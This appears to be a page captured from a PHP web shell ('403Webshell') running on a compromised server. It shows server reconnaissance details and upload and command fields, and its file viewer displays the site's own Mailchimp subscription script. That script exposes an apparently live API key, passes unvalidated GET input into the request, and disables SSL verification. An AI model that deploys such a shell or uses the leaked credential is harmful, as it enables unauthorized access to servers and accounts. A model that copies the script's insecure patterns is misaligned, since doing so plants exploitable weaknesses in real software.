403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/mailchimp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/mailchimp/runmailchimp17update.php

<!---
https://admin.nymetroparents.com/mailchimp/[email protected]&extra=df196b95a8&fname=hi&lname=test&zip=07460
https://admin.nymetroparents.com/mailchimp/[email protected]

[email protected]
, 'tags'  => array('Halloween Guide 2019')
---->
<?php


	ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
const DEBUGGER = true;



        $api_key = '625a6a02c2640cde99f71e06f79dc378-us9';
        $list_id = 'fd98434b3d';
        $tag = 'Halloween Guide 2019';
        $tag = '32601';

        /**
        *  Possible Values for Status:
        *  subscribed, unsubscribed, cleaned, pending, transactional
        **/
        /* ' . md5(strtolower($_GET['email'] )) */
        
$data = array(
              'email_address' => $_GET['email'],
    'tags' => array(
        array(
            'name' => $tag,
            'status' => 'active'
        )
    )
);


        
 

          // URL to request
          $API_URL =   'https://' . substr($api_key,strpos($api_key,'-') + 1 ) . '.api.mailchimp.com/3.0/lists/' . $list_id . '/segments/32601/members';

echo $API_URL; echo '<p>';
          $ch = curl_init(); 
          curl_setopt($ch, CURLOPT_URL, $API_URL);
          curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json', 'Authorization: Basic '.base64_encode( 'user:'.$api_key )));
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
          curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
          curl_setopt($ch, CURLOPT_TIMEOUT, 10);
          curl_setopt($ch, CURLOPT_POST, true);
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
          curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data) ); 
          $result = curl_exec($ch);  
          curl_close($ch);

          $response = json_decode($result);
        
print_r($response);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit